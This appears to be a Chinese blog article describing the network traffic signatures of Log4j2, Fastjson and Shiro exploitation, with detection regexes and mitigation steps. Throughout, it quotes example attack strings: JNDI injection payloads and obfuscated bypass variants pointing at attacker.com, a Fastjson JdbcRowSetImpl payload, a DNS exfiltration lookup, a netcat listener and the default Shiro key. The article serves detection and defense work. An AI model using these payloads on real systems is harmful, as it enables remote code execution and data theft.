【HW系列】—Log4j2、Fastjson、Shiro漏洞流量特征
本文仅用于技术研究,禁止用于非法用途。
文章目录
- Log4j2漏洞的流量特征及检测方法
- 一、基础请求特征
- 二、网络交互特征
- 三、响应与日志特征
- 四、绕过技术特征
- 五、检测与防御建议
- Fastjson漏洞的流量特征解析
- 一、请求构造特征
- 二、响应行为特征
- 三、攻击载荷特征
- 四、防御与检测建议
- Shiro漏洞的流量特征及检测方法
- 一、基础请求特征
- 二、响应特征
- 三、工具与绕过特征
- 四、检测与防御建议
- 五、关联漏洞扩展
Log4j2漏洞的流量特征及检测方法
Log4j2漏洞(CVE-2021-44228)的流量特征主要体现在JNDI协议注入、Payload构造技巧和响应行为异常等方面。以下是基于多篇技术文档整理的核心特征及检测策略:
一、基础请求特征
- JNDI协议标识
- 流量中直接包含
${jndi:ldap://attacker.com/exp}
或${jndi:rmi://malicious-server/poc}
格式的字符串,常见于HTTP请求头(如User-Agent、Referer)或URL参数中。 - 示例:
- 流量中直接包含
GET /search?q=${jndi:ldap://192.168.1.100:1389/Exploit} HTTP/1.1
- 编码混淆与绕过
- 大小写转换:使用 lower: 或 upper: 函数绕过关键字检测,如
${${lower:J}ndi:ldap://...}
。 - 特殊符号分割:利用
${::-J}
或嵌套表达式(如${${env:key}}
)混淆JNDI标识。 - URL编码:对Payload进行多重编码,例如
%24%7Bjndi%3Aldap%3A%2F%2F...
(对应 ${jndi:ldap://…})。
- 大小写转换:使用 lower: 或 upper: 函数绕过关键字检测,如
- 协议多样性
- 攻击者可能混合使用 ldap、rmi、dns 等协议,例如
${jndi:dns://attacker.com/log}
用于信息外带。
- 攻击者可能混合使用 ldap、rmi、dns 等协议,例如
二、网络交互特征
- 异常外联行为
- 受害服务器向攻击者控制的LDAP/RMI服务器发起连接请求(如端口1389、1099),并尝试下载恶意类文件(如 Exploit.class)。
- 流量中可能伴随DNS查询记录,用于外带敏感信息(如环境变量 env:OS)。
- 多阶段攻击流量
- 第一阶段:通过HTTP请求注入JNDI表达式触发漏洞。
- 第二阶段:服务器连接LDAP/RMI服务获取恶意类文件。
- 第三阶段:执行远程代码后,可能建立反向Shell连接(如 nc -lvp 2333)或C2通信。
三、响应与日志特征
- 异常响应内容
- 成功利用时,响应包可能包含命令执行结果(如 whoami 输出)或异常堆栈中的JNDI类信息(如
javax.naming.InitialContext
)。 - 响应长度突变:正常请求响应约200字节,执行恶意代码后因回显结果增至500字节以上。
- 成功利用时,响应包可能包含命令执行结果(如 whoami 输出)或异常堆栈中的JNDI类信息(如
- 日志异常
- 应用日志中出现大量含JNDI字符串的记录(如
${jndi:ldap://...}
)。 - 堆栈跟踪中暴露 JndiLookup 类调用链或 ClassNotFound 异常(因加载远程恶意类失败)。
- 应用日志中出现大量含JNDI字符串的记录(如
四、绕过技术特征
- 协议与语法变形
- 添加冗余字符:如
${jndi:ldap://attacker.com/ test}
(URL末尾加空格)绕过简单正则检测。 - 利用环境变量嵌套:如
${${env:PROTO}:-jndi}:ldap://...
。
- 添加冗余字符:如
- 多协议组合利用
- 使用 ldap:// 触发漏洞后,通过HTTP协议下载恶意类文件,规避仅监控JNDI协议的规则。
五、检测与防御建议
- 流量检测规则
- 正则匹配:针对
\$\{.*jndi:(ldap|rmi|dns).*}
及变形表达式设计规则,覆盖大小写转换和编码混淆。 - 协议监控:拦截异常外联流量(如非业务端口的LDAP/RMI请求)。
- 正则匹配:针对
- 防御策略
- 版本升级:升级至Log4j2 2.17.0+并移除 JndiLookup 类。
- 输入过滤:拦截含 ${、jndi: 的请求,禁用日志记录敏感参数。
- 网络隔离:限制服务器对外访问权限,阻断非常用协议端口。
Fastjson漏洞的流量特征解析
Fastjson漏洞的流量特征主要围绕JSON反序列化机制与AutoType动态类加载展开,具体可从请求构造、攻击载荷、响应行为等维度分析。以下是综合多篇技术文档的核心特征及检测方法:
一、请求构造特征
- HTTP方法与数据类型
- POST请求为主:Fastjson漏洞通常通过POST方法发送JSON数据包。
- Content-Type标记:请求头中明确标识为 application/json,部分情况下可能伴随 charset=UTF-8 参数。
- JSON结构异常
- @type字段注入:请求体中包含
@type
字段,指向危险类(如 com.sun.rowset.JdbcRowSetImpl、org.apache.tomcat.dbcp.BasicDataSource 等),用于触发动态类加载。 - 闭合错误:部分攻击载荷的JSON结构不完整,例如花括号未闭合,导致服务端解析异常。
- @type字段注入:请求体中包含
- 协议与路径特征
- JNDI注入标识:请求中包含
ldap://、rmi://
等协议地址,指向攻击者控制的服务器(如 dataSourceName:“rmi://attacker.com/Exploit”)。 - 编码混淆:攻击者可能对关键字段进行URL编码或大小写转换(如 %6a%6e%64%69 对应 jndi),以绕过基础检测规则。
- JNDI注入标识:请求中包含
二、响应行为特征
- 状态码与错误信息
- 高频400/500状态码:因恶意JSON结构触发解析错误,服务器返回 400 Bad Request 或 500 Internal Server Error。
- 错误回显关键字:响应包中可能包含 fastjson、autoCommit、setter 等字段,或暴露反序列化堆栈信息(如
com.alibaba.fastjson.JSONException
)。
- 无回显攻击特征
- DNSLog外带:利用无回显漏洞时,响应包可能包含DNSLog平台地址(如 dnslog.cn),通过DNS查询验证漏洞存在。
- 间接响应标识:成功触发漏洞后,可能返回 commit:true 或特定类加载标识(如 JavaBeanInfo 相关日志)。
三、攻击载荷特征
- 经典攻击链构造
- JdbcRowSetImpl利用:通过 dataSourceName 和 autoCommit 字段触发JNDI注入(如
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://attacker.com/exp"}
)。 - TemplatesImpl类利用:植入恶意字节码至 _bytecodes 字段,结合 _outputProperties 的getter方法触发代码执行。
- JdbcRowSetImpl利用:通过 dataSourceName 和 autoCommit 字段触发JNDI注入(如
- Tomcat环境适配
- BasicDataSource类攻击:针对Tomcat环境构造 org.apache.tomcat.dbcp.BasicDataSource 类,利用数据库连接池加载远程恶意配置。
- 版本适配差异:Tomcat 8.0前后分别使用 dbcp.BasicDataSource 和 dbcp2.BasicDataSource,攻击载荷需匹配目标环境。
四、防御与检测建议
- 流量检测规则
- 正则匹配:针对 @type、JdbcRowSetImpl、ldap:// 等关键字设计规则,覆盖大小写变形和编码混淆。
- 行为分析:监控高频400/500响应率(如单IP 1分钟内超过30次异常状态码)。
- 防御策略
- 升级至安全版本:Fastjson 1.2.83+ 启用 safemode 模式,或迁移至2.x版本。
- 关闭AutoType功能:通过启动参数 -Dfastjson.parser.autoTypeAccept= 限制动态类加载。
- 输入过滤与白名单:拦截包含 ${、jndi: 的请求,仅允许可信类名通过 ParserConfig.addAccept() 添加至白名单。
Shiro漏洞的流量特征及检测方法
Apache Shiro框架的反序列化漏洞(如Shiro-550、Shiro-721)和权限绕过漏洞在流量中呈现独特的特征。结合搜索结果,以下为关键流量特征及检测防御建议;
一、基础请求特征
- Cookie字段异常
- rememberMe参数存在性:攻击者会在请求包的Cookie中植入rememberMe字段,并赋予任意值(如rememberMe=yes)探测Shiro框架。
- 加密特征:合法rememberMe值通常为Base64编码的AES加密数据,而攻击流量中该字段值可能包含超长字符串(如rememberMe=AgAAAF…),且伴随异常字符(如$$$包裹的Base64编码)。
- 路径匹配异常
- 权限绕过特征:请求URL可能通过路径混淆绕过权限校验,例如访问/admin/代替/admin,或使用/xxx/…;/admin/等特殊格式。
- 高频试探性请求
- 密钥爆破阶段,攻击者会发送大量包含不同rememberMe值的请求,测试默认或随机生成的AES密钥,请求间隔短且规律性强。
二、响应特征
- deleteMe标识
- 当请求包含无效rememberMe值时,响应头中会返回Set-Cookie: rememberMe=deleteMe,这是Shiro框架的默认错误处理行为。
- 例外情况:部分攻击成功场景下(如密钥正确或利用链触发),响应中不会出现deleteMe字段,仅返回200状态码。
- 命令执行回显
- 成功利用反序列化漏洞时,响应包可能包含Base64编码的命令执行结果(
如$$$d2hvYW1p$$$对应whoami输出
)或Java堆栈错误(如javax.naming.InitialContext
相关异常)。
- 成功利用反序列化漏洞时,响应包可能包含Base64编码的命令执行结果(
- 延迟响应
- 针对不出网环境的攻击,若服务器响应时间异常延长(如固定延迟5秒),可能表明密钥爆破成功或利用链触发。
三、工具与绕过特征
- 自动化工具标识
- 使用shiro_attack等工具时,请求头中可能携带工具特征(如自定义User-Agent或高频请求),且rememberMe值长度显著增加(如内存马注入时超过10KB)。
- 加密与编码混淆
- 默认密钥利用:Shiro-550攻击中,rememberMe值基于默认密钥kPH+bIxk5D2deZiIxcaaaA==加密,可通过AES+Base64还原恶意序列化数据。
- 高版本绕过:Shiro-721利用Padding Oracle Attack爆破随机密钥,请求中rememberMe值呈现分段加密特征。
四、检测与防御建议
- 流量检测规则
- 正则匹配:针对
rememberMe=[A-Za-z0-9+/=]{50,}、\$\$\$.*\$\$\$
等模式设计规则。 - 行为分析:监控单IP对同一接口的高频请求(如1分钟内>50次)或deleteMe字段的异常分布。
- 正则匹配:针对
- 防御策略
- 升级版本:升级至Shiro 1.12.0+,禁用Java原生反序列化,改用Kryo或JSON序列化。
- 密钥管理:替换默认AES密钥为随机生成值(如shiro.crypto.key=随机Base64字符串)。
- 输入过滤:拦截包含rememberMe、${等敏感字符的请求,并限制Cookie长度(如<1KB)。
五、关联漏洞扩展
-
环境判断特征
- 通过访问/favicon.ico可识别Shiro默认图标,或检查响应头中的JSESSIONID命名规则(如JSESSIONID=xxxx; Path=/)。
-
内存马特征
- 注入内存马后,流量中rememberMe字段长度剧增,且POST请求体可能包含加密的WebShell操作指令(如pass=加密字符串)。
注:本文遵循CSDN社区内容规范,不涉及具体攻击实现,重点探讨防御方法论。